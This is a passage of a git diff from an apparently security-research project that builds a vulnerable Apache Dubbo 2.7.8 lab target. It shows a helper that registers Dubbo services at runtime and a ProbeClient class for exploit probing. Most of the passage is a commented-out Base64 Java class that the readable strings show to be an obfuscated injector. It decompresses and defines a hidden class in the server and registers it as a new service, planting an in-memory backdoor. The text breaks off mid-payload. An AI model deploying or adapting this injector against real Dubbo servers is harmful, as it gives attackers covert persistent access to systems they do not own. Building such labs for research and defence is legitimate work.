{ + throw new IllegalArgumentException(implementationClass.getName() + + " does not implement " + interfaceClass.getName()); + } + } + + private Object instantiate(Class implementationClass) { + try { + Constructor constructor = implementationClass.getDeclaredConstructor(); + constructor.setAccessible(true); + return constructor.newInstance(); + } catch (ReflectiveOperationException e) { + throw new IllegalArgumentException("failed to instantiate " + implementationClass.getName(), e); + } + } + + @SuppressWarnings({"rawtypes", "unchecked"}) + private ServiceConfig createServiceConfig(String path, Class interfaceClass, Object serviceInstance) { + ConfigManager configManager = ApplicationModel.getConfigManager(); + + ServiceConfig serviceConfig = new ServiceConfig(); + serviceConfig.setInterface(interfaceClass); + serviceConfig.setRef(serviceInstance); + serviceConfig.setPath(path); + serviceConfig.setVersion("1.0.0"); + serviceConfig.setApplication(configManager.getApplication().orElse(null)); + + List protocols = new ArrayList<>(configManager.getDefaultProtocols()); + if (protocols.isEmpty()) { + protocols = new ArrayList<>(configManager.getProtocols()); + } + serviceConfig.setProtocols(protocols); + + List registries = new ArrayList<>(configManager.getDefaultRegistries()); + if (registries.isEmpty()) { + registries = new ArrayList<>(configManager.getRegistries()); + } + serviceConfig.setRegistries(registries); + + return serviceConfig; + } + + private String resolveServiceAddresses(String path) { + ConfigManager configManager = ApplicationModel.getConfigManager(); + List protocols = configManager.getDefaultProtocols(); + if (protocols.isEmpty()) { + protocols = new ArrayList<>(configManager.getProtocols()); + } + if (protocols.isEmpty()) { + return path; + } + String localHost = NetUtils.getLocalHost(); + return protocols.stream() + .map(pc -> String.format("%s://%s:%d/%s", pc.getName(), localHost, pc.getPort(), path)) + .collect(Collectors.joining(", ")); + } +} diff --git a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/ProbeClient.java b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/ProbeClient.java new file mode 100644 index 00000000..ad9239a6 --- /dev/null +++ b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/ProbeClient.java @@ -0,0 +1,128 @@ +package com.reajason.javaweb.vuldubbo278; + +import com.caucho.hessian.client.HessianProxyFactory; +import com.caucho.hessian.io.HessianRemoteObject; +import org.apache.dubbo.common.bytecode.ClassGenerator; +import org.apache.dubbo.config.ApplicationConfig; +import org.apache.dubbo.config.ReferenceConfig; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Method; +import java.util.Base64; +import java.util.zip.GZIPInputStream; + +public class ProbeClient { + private static final String DEFAULT_URL = "http://127.0.0.1:12345/demo_say_hello"; + + public static void main(String[] args) throws Exception { +// dubboSayHello("dubbo://127.0.0.1:12345/demo_say_hello"); +// try { +// dubboExploit(); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// exploit(); + } + + public static void hessianSayHello(String url) throws Exception { + HessianProxyFactory factory = new HessianProxyFactory(); + factory.setOverloadEnabled(true); + DemoService svc = (DemoService) factory.create( + DemoService.class, url); +// byte[] decode = Base64.getDecoder().decode("yv66vgAAADQCAAEAJGNvbS9nb29nbGUvZ3NvL0x1cnNGL0VuY3J5cHRpb25VdGlscwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBACVqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwBwAFAQAeamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzBwAHAQAGTG9va3VwAQAPZHluYW1pY1NlcnZpY2VzAQAPTGphdmEvdXRpbC9NYXA7AQBNTGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TG9yZy9hcGFjaGUvZHViYm8vY29uZmlnL1NlcnZpY2VDb25maWc8Kj47PjsBAANtc2cBABJMamF2YS9sYW5nL1N0cmluZzsBAAJvawEAAVoBAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBADRvcmcuYXBhY2hlLmh0dHAud2ViLmhhbmRsZXJzLmhyTHVVLkVycm9yRHViYm9TZXJ2aWNlCAATAQAMZ2V0Q2xhc3NOYW1lAQAPZ2V0QmFzZTY0U3RyaW5nAQjgSDRzSUFBQUFBQUFBLzUxVytYY1RWUlQrWGpMcGhEUVVDQlFJcFZnUUlXM2FSaFlSQXlKZFFFRVN3QlMwRk1YcDVMVVpTR2ZDWkVKQlJLd2licmlMQ2k0b2lsVnhDYUpUcEZEOENjL3gzL0Q0UjhnQjZuMlRVRkpvMVdOT3pyeVorKzc2M2VXOTM2K2ZId0t3Rkw4eUxEWE03b2lTVWRRVWo2UXNLeFBwNVoyUmxLSW4wOXpNUmxMbWh0eVd5QnJUTk16V1hHZW5rZURtSGszbE1oakQ1SjNLSGlXU1Z2VHV5TWJPblZ5MVpMZ1p5bFpxdW1hdFluQ0hhcmY2NFVHWkR4SmsyaWdvcFpkUVIzTnRSelBEMUpzSzF1eFZlY2JTREYxRytTak5DY3ZVOUc0WkV4azhRczVST2NtSENreG04SFp6YTVOaUtqME1DMEliYmhWYVVYczd5WThBcHZyZ3dqU0dDcEplcDJkeUZ1MXhvYU4yZkIyYUVTbGhKVFhUTVVPb21jbFFmWU9oZVovRm0weFQyYmN4WjQyd3lwamxRNVdJZjRyRGw3TzBkQ1NoS3JyT1RSblZERE5EWTFvb0JIcUhEM05RdytEYTN1VEZQQVovTHN0YmVWcnIwU3h1TWl3YzMrRlNPK1R1Zk53bFZDMWdrSFMrMTJLWUZob1RuUkJxQlY5ZEFWc1JVWlpFUXBRdVArclJJSEJ2cEV6MG11U0FIM2VMVEZSaEVWRzYwcmxzeW84bEl0MVZXRW9VTlcxa2lXZFpnWEl2UTdsbGpFRGt4MzFDV3hXaUZGeEhzNHlWREpQSW9sTnBNWjdOS3QzOGxvUzBwVXlqVitsTTg3SHp1Z29QaUlTc3ZsRldvL0dVUWZVbUc5bEdYZW5oWHJTT3JyRjlXWXNUeTFyeVVWU1VhV1M0YVpHUEQ0bGFlUkRySE44M0dMM2NiRkZFVEE4TGxDcXdnV3E1VjlPVFJxOFhjVUpNTlhSTDBYUkNyS3JVOFphVVlpYjQ3aHpYVmZKOW14K2JzRm1JUDBJZXFUM0pScjZYUEdvakhDS3FGMXZKLzQ3YjQ1UHhHSEZIT2pVOWtrMTVzWTI0RzRoN08zazJiNzlxOVBSUWJ4Mlk1OFVUMUhmYnMyRXZucVFNWkROcHpScW5Tc2F3NFVjblZPRllra3laUEpOV1ZNcEI2N2loakJ2aVdLcTcwQzFVcHhnbWpQanJ4VTZxLzV2TUJMeEtxVy9PYWVtazZJNDB3L1RRR0k0V2VrUDNvUWNHd1dYeXBHYlMrSEZxNTBZdlY0ZTJsZm94V2pYNXN4dW1rTThLbUN6RkpKZ3FRMk1JRUdjT2V3Um43NDBPTHQyV3NZOWhSbWo4SWJIZmg2ZndOTlZKVHU4MWxRekQ4bEk0QzJOenhUOVByaUxUcUhFNTBnc3lubVdZU0VXN1Z1UHA1RllsbmFQeWZBNEhSU3M4enpEbnBramNTT1RVbE1OV01teGZLRFI2UzFySkVoUlRSMEhnRUNtS0YvR1NHT0V2VTRmZXNpbmpWV29ra20vbGFscWhQRGpxR1JyK1pSaWJ2Q3ROTVVVY2RyTHdHbDczNFFqZUlDekhZWkx4RnNXWjVWYVRLbkRYT3NWQklsR09xUlRld2JzK3ZJMmpWUHJreWkxSFFSRzlNUUQxNDMxOElBU1BGUkJNNUtqclZSR1dIeCtLa0kvZ28xRU9GUUlacWM1UGZEZ2g1cnBNc25HYUtuNThKc2JDRVp5a2RDdVpETmYvQXhLamRKSkxYK0NVVVBzbFE2REdDYnhHTjZ5YUxpT25KNk0xWG54RjZiS01ncEFmM3doN0ozQmExTzU0WGZLZEQ0ZnhmY2xRM0VTYkkwTXh6eEM4ZWY2VW5sdEY4Ujk5T0lPemxQbE1RVXhSZDdXWnpsd29PYmRLVkRwaVA4UDJvUThEWXI2ZkZncG8rRXN0UnBLa0pqb3FZa3FtVFhGUzZCdXBSU3EvWmYvbktqSi9rWXdoektWNmw4QndpYTQxZERrUjF3NTZEdExYRkZvWnJaNjZBWGpQUVB4b0JzRlgzRDVLWW1XMEt1SEw4SWFIamtOMlgvRG1CMUhSSGg3QWxGaGQvUUFxNDNVTkF3aEdwVUZVdFE5Z2R0UVQ5QXhpVG50UUdzRGN3SjAyRnRvSTI0allXQnowMkxoSFBKYUx4NHA4VktvVFhFMjBteWVEczlHR0xmRFQyd1V5T1F2dUNlNWhPbDhrR1M0Wjk4dW9vRCtZVEJ3dWNVOHB1a2drK2daYzRiemp2a3RjUHVoSmU4eERrY3BFTzFzWEM4ZkIrdUdPc1RpTFNrSHBONndLckRtSDlUWmlnWTAyRXNjd3Mrd2loZVVPYkVtMFM0RkhFKzJlY0tJZmxVVmloeUErN2hEai9kZ1lsQUk3SEtFbDlLYlk0RkdQZTFsWlpWblFNM1FTd2FCSHZGV1dMUTdzb01DMXhLRXkxai84WjlCRGtwWEV2MHNRQlVxT1pId1FQZTBFWUVheVlkbllhK05BalB5c3p6dVpFRUNzUnZtMUlnZ1Z3NVFQVitGVklORnlWZVN6NVJvYVpiUVRiVE10N211b3BJVmRRZlVWZUtiOGhVcGNKQzBpL1FMYVozQ3dDRnl0VXhUQWhIRDlPUnpLeDhQNVFpVlF3dnVLcHFsSzFzcjBOVUVNelFLbWREUklqdGo2T2h1dnhPb0QwaWxVMTFOSWI4WWJLSVQzR29oOFBCK3Z0L0Z4ckgvNGowRWNiaC9FQ1NxTVR3Vy9qYzl0OUFlK3BnZUo5TnY0ZGdBL1hDSnI1ZFFNczZrWEMzWW53bjBWSGhsSHRzbzQ3QzN4M3lVdU1rWC8rK0IyYW5NWml4VkxqN0E4STdEOEtSWW0rK2NhYlB3U2xlb3ZRNmF2ODBFcEgvV01mSGd1a1M0WDNlVnFIU1RDemxvd1hndjNkU3lRY1VaR2xRTzVDMjRIOGo2aUNkVDdyaE1nRUxqZ2I3QXdXRllyREFBQQgAFwEAFWdldEhlbHBlckJhc2U2NFN0cmluZwEAwEg0c0lBQUFBQUFBQS96djFiOWMrQmdZR0V3WjJSZ2F6L0tKMC9jU0N4T1NNVlAyTWtwSUMvZkxVSlAyTXhMeVVuTlNpWXYyTUlwL1NVSDNYb3FMOElwZlNwS1Q4NE5TaXNzemtWQlZEZGdaR1JnYUJyTVN5UlAyY3hMeDBmZitrck5Ua0VuWUdaa1lHTm9odUlFTWoya2t6Mm9tTmtZR0pnWVVCQkJoWkdCbFlHZGhBVEFBUW1CS0VoQUFBQUE9PQgAGgEABjxpbml0PgEAAygpVgEAE2phdmEvbGFuZy9UaHJvd2FibGUHAB4MABwAHQoABAAgAQAmamF2YS91dGlsL2NvbmN1cnJlbnQvQ29uY3VycmVudEhhc2hNYXAHACIKACMAIAwACgALCQACACUMAA8AEAkAAgAnAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHACkKACoAIAwADQAOCQACACwBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsMAC4ALwoAKgAwAQAPcmVnaXN0ZXJTZXJ2aWNlDAAyABIKAAIAMwEACHRvU3RyaW5nDAA1ABIKACoANgEAEnVuZXhjZXB0ZWQgZXJyb3I6IAgAOAEAD2dldEVycm9yTWVzc2FnZQEAKShMamF2YS9sYW5nL1Rocm93YWJsZTspTGphdmEvbGFuZy9TdHJpbmc7DAA6ADsKAAIAPAEAEGphdmEvbGFuZy9TeXN0ZW0HAD4BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsMAEAAQQkAPwBCAQATamF2YS9pby9QcmludFN0cmVhbQcARAEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMAEYARwoARQBIAQAIZ2V0U2hlbGwBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzPCo+OwEAE2phdmEvbGFuZy9FeGNlcHRpb24HAE0BAC9vcmcvYXBhY2hlL2R1YmJvL2NvbW1vbi9ieXRlY29kZS9DbGFzc0dlbmVyYXRvcgcATwEAKG9yZy9hcGFjaGUvZHViYm8vY29tbW9uL3V0aWxzL0NsYXNzVXRpbHMHAFEBAA5nZXRDbGFzc0xvYWRlcgEAKihMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAUwBUCgBSAFUBABR0cnkgZGVmaW5lIGNsYXNzIGluIAgAVwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAWQBaCgAEAFsBAA9qYXZhL2xhbmcvQ2xhc3MHAF0BAAdnZXROYW1lDABfABIKAF4AYAwAFQASCgACAGIBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAGQBAAlsb2FkQ2xhc3MMAGYASwoAZQBnAQAQamF2YS9sYW5nL1N0cmluZwcAaQEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAGsAbAoAAgBtAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAG8AcAoAAgBxAQALZGVmaW5lQ2xhc3MIAHMBAAJbQgcAdQEAEWphdmEvbGFuZy9JbnRlZ2VyBwB3AQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAB5AHoJAHgAewEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAfQB+CgBeAH8BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHAIEBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAgwCECgCCAIUBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwAhwCICgB4AIkBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAIsAjAoAggCNAQAccmVnaXN0ZXJJbkphdmFzc2lzdENsYXNzUG9vbAEAHChMamF2YS9sYW5nL0NsYXNzTG9hZGVyO1tCKVYMAI8AkAoAAgCRAQABWwgAkwEAAl0gCACVAQAMZ2V0Q2xhc3NQb29sAQAuKExqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhc3Npc3QvQ2xhc3NQb29sOwwAlwCYCgBQAJkBAAltYWtlQ2xhc3MIAJsBABNqYXZhL2lvL0lucHV0U3RyZWFtBwCdAQAJZ2V0TWV0aG9kDACfAH4KAF4AoAEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HAKIBAAUoW0IpVgwAHACkCgCjAKUBABBqYXZhLnV0aWwuQmFzZTY0CACnAQAHZm9yTmFtZQwAqQBLCgBeAKoBAApnZXREZWNvZGVyCACsAQAGZGVjb2RlCACuAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcggAsAEADGRlY29kZUJ1ZmZlcggAsgEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsMALQAtQoAXgC2AQATamF2YS9pby9JT0V4Y2VwdGlvbgcAuAEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtBwC6CgC7ACABAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcAvQEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwAHAC/CgC+AMABAARyZWFkAQAFKFtCKUkMAMIAwwoAvgDEAQAFd3JpdGUBAAcoW0JJSSlWDADGAMcKALsAyAEAC3RvQnl0ZUFycmF5AQAEKClbQgwAygDLCgC7AMwBAAVjbG9zZQwAzgAdCgC+AM8KALsAzwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uBwDSDAARABIKAAIA1AEADW5vcm1hbGl6ZVBhdGgBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwA1gDXCgACANgBAAdpc0VtcHR5AQADKClaDADaANsKAGoA3AEAImphdmEvbGFuZy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24HAN4BABZwYXRoIG11c3Qgbm90IGJlIGVtcHR5CADgDAAcAEcKAN8A4gEADWphdmEvdXRpbC9NYXAHAOQBAAtjb250YWluc0tleQEAFShMamF2YS9sYW5nL09iamVjdDspWgwA5gDnCwDlAOgBABdyZXNvbHZlU2VydmljZUFkZHJlc3NlcwwA6gDXCgACAOsBABtpc1BhdGhSZWdpc3RlcmVkSW5GcmFtZXdvcmsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoMAO0A7goAAgDvDAAZABIKAAIA8QwASgBLCgACAPMBABBpbnRlcmZhY2VDbGFzczogCAD1AQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7DAAuAPcKACoA+AwAFgASCgACAPoBABVpbXBsZW1lbnRhdGlvbkNsYXNzOiAIAPwBABR2YWxpZGF0ZVNlcnZpY2VUeXBlcwEAJShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvQ2xhc3M7KVYMAP4A/woAAgEAAQALaW5zdGFudGlhdGUBACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7DAECAQMKAAIBBAEAE2NyZWF0ZVNlcnZpY2VDb25maWcBAF4oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9DbGFzcztMamF2YS9sYW5nL09iamVjdDspTG9yZy9hcGFjaGUvZHViYm8vY29uZmlnL1NlcnZpY2VDb25maWc7DAEGAQcKAAIBCAEAC3B1dElmQWJzZW50AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAQoBCwsA5QEMAQAlb3JnL2FwYWNoZS9kdWJiby9jb25maWcvU2VydmljZUNvbmZpZwcBDgEABmV4cG9ydAwBEAAdCgEPAREBAAZyZW1vdmUBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVoMARMBFAsA5QEVAQArb3JnL2FwYWNoZS9kdWJiby9ycGMvbW9kZWwvQXBwbGljYXRpb25Nb2RlbAcBFwEAEGdldENvbmZpZ01hbmFnZXIBADEoKUxvcmcvYXBhY2hlL2R1YmJvL2NvbmZpZy9jb250ZXh0L0NvbmZpZ01hbmFnZXI7DAEZARoKARgBGwEALW9yZy9hcGFjaGUvZHViYm8vY29uZmlnL2NvbnRleHQvQ29uZmlnTWFuYWdlcgcBHQEAC2dldFNlcnZpY2VzAQAYKClMamF2YS91dGlsL0NvbGxlY3Rpb247DAEfASAKAR4BIQEAFGphdmEvdXRpbC9Db2xsZWN0aW9uBwEjAQAGc3RyZWFtAQAbKClMamF2YS91dGlsL3N0cmVhbS9TdHJlYW07DAElASYLASQBJxAA5wEAJGxhbWJkYSRpc1BhdGhSZWdpc3RlcmVkSW5GcmFtZXdvcmskMAEAQChMamF2YS9sYW5nL1N0cmluZztMb3JnL2FwYWNoZS9kdWJiby9jb25maWcvU2VydmljZUNvbmZpZ0Jhc2U7KVoMASoBKwoAAgEsDwYBLQEALihMb3JnL2FwYWNoZS9kdWJiby9jb25maWcvU2VydmljZUNvbmZpZ0Jhc2U7KVoQAS8BACJqYXZhL2xhbmcvaW52b2tlL0xhbWJkYU1ldGFmYWN0b3J5BwExAQALbWV0YWZhY3RvcnkBAMwoTGphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcyRMb29rdXA7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RUeXBlO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RUeXBlOylMamF2YS9sYW5nL2ludm9rZS9DYWxsU2l0ZTsMATMBNAoBMgE1DwYBNgEABHRlc3QBADIoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvZnVuY3Rpb24vUHJlZGljYXRlOwwBOAE5EgAAAToBABdqYXZhL3V0aWwvc3RyZWFtL1N0cmVhbQcBPAEACGFueU1hdGNoAQAhKExqYXZhL3V0aWwvZnVuY3Rpb24vUHJlZGljYXRlOylaDAE+AT8LAT0BQAEAAAgBQgEABHRyaW0MAUQAEgoAagFFAQABLwgBRwEACnN0YXJ0c1dpdGgMAUkA7goAagFKAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7DAFMAU0KAGoBTgEAKyhMamF2YS9sYW5nL0NsYXNzPCo+O0xqYXZhL2xhbmcvQ2xhc3M8Kj47KVYBAAtpc0ludGVyZmFjZQwBUQDbCgBeAVIBABJub3QgYW4gaW50ZXJmYWNlOiAIAVQBAAxnZXRNb2RpZmllcnMBAAMoKUkMAVYBVwoAXgFYAQAaamF2YS9sYW5nL3JlZmxlY3QvTW9kaWZpZXIHAVoBAAppc0Fic3RyYWN0AQAEKEkpWgwBXAFdCgFbAV4BACppbXBsZW1lbnRhdGlvbiBjbGFzcyBpcyBub3QgaW5zdGFudGlhYmxlOiAIAWABABBpc0Fzc2lnbmFibGVGcm9tAQAUKExqYXZhL2xhbmcvQ2xhc3M7KVoMAWIBYwoAXgFkAQAUIGRvZXMgbm90IGltcGxlbWVudCAIAWYBACgoTGphdmEvbGFuZy9DbGFzczwqPjspTGphdmEvbGFuZy9PYmplY3Q7AQAmamF2YS9sYW5nL1JlZmxlY3RpdmVPcGVyYXRpb25FeGNlcHRpb24HAWkBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7DAFrAWwKAF4BbQEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yBwFvCgFwAIUBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMALQBcgoBcAFzAQAWZmFpbGVkIHRvIGluc3RhbnRpYXRlIAgBdQEAKihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1Rocm93YWJsZTspVgwAHAF3CgDfAXgBAHUoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9DbGFzczwqPjtMamF2YS9sYW5nL09iamVjdDspTG9yZy9hcGFjaGUvZHViYm8vY29uZmlnL1NlcnZpY2VDb25maWc8TGphdmEvbGFuZy9PYmplY3Q7PjsKAQ8AIAEADHNldEludGVyZmFjZQEAFChMamF2YS9sYW5nL0NsYXNzOylWDAF8AX0KAQ8BfgEABnNldFJlZgEAFShMamF2YS9sYW5nL09iamVjdDspVgwBgAGBCgEPAYIBAAdzZXRQYXRoDAGEAEcKAQ8BhQEABTEuMC4wCAGHAQAKc2V0VmVyc2lvbgwBiQBHCgEPAYoBAA5nZXRBcHBsaWNhdGlvbgEAFigpTGphdmEvdXRpbC9PcHRpb25hbDsMAYwBjQoBHgGOAQASamF2YS91dGlsL09wdGlvbmFsBwGQAQAGb3JFbHNlAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAZIBkwoBkQGUAQApb3JnL2FwYWNoZS9kdWJiby9jb25maWcvQXBwbGljYXRpb25Db25maWcHAZYBAA5zZXRBcHBsaWNhdGlvbgEALihMb3JnL2FwYWNoZS9kdWJiby9jb25maWcvQXBwbGljYXRpb25Db25maWc7KVYMAZgBmQoBDwGaAQATamF2YS91dGlsL0FycmF5TGlzdAcBnAEAE2dldERlZmF1bHRQcm90b2NvbHMBABIoKUxqYXZhL3V0aWwvTGlzdDsMAZ4BnwoBHgGgAQAZKExqYXZhL3V0aWwvQ29sbGVjdGlvbjspVgwAHAGiCgGdAaMBAA5qYXZhL3V0aWwvTGlzdAcBpQsBpgDcAQAMZ2V0UHJvdG9jb2xzDAGoASAKAR4BqQEADHNldFByb3RvY29scwEAEyhMamF2YS91dGlsL0xpc3Q7KVYMAasBrAoBDwGtAQAUZ2V0RGVmYXVsdFJlZ2lzdHJpZXMMAa8BnwoBHgGwAQANZ2V0UmVnaXN0cmllcwwBsgEgCgEeAbMBAA1zZXRSZWdpc3RyaWVzDAG1AawKAQ8BtgEAJm9yZy9hcGFjaGUvZHViYm8vY29tbW9uL3V0aWxzL05ldFV0aWxzBwG4AQAMZ2V0TG9jYWxIb3N0DAG6ABIKAbkBuwsBpgEnEAGTAQAgbGFtYmRhJHJlc29sdmVTZXJ2aWNlQWRkcmVzc2VzJDEBAGAoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TG9yZy9hcGFjaGUvZHViYm8vY29uZmlnL1Byb3RvY29sQ29uZmlnOylMamF2YS9sYW5nL1N0cmluZzsMAb8BwAoAAgHBDwYBwgEAPChMb3JnL2FwYWNoZS9kdWJiby9jb25maWcvUHJvdG9jb2xDb25maWc7KUxqYXZhL2xhbmcvU3RyaW5nOxABxAEABWFwcGx5AQBDKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL2Z1bmN0aW9uL0Z1bmN0aW9uOwwBxgHHEgABAcgBAANtYXABADgoTGphdmEvdXRpbC9mdW5jdGlvbi9GdW5jdGlvbjspTGphdmEvdXRpbC9zdHJlYW0vU3Ry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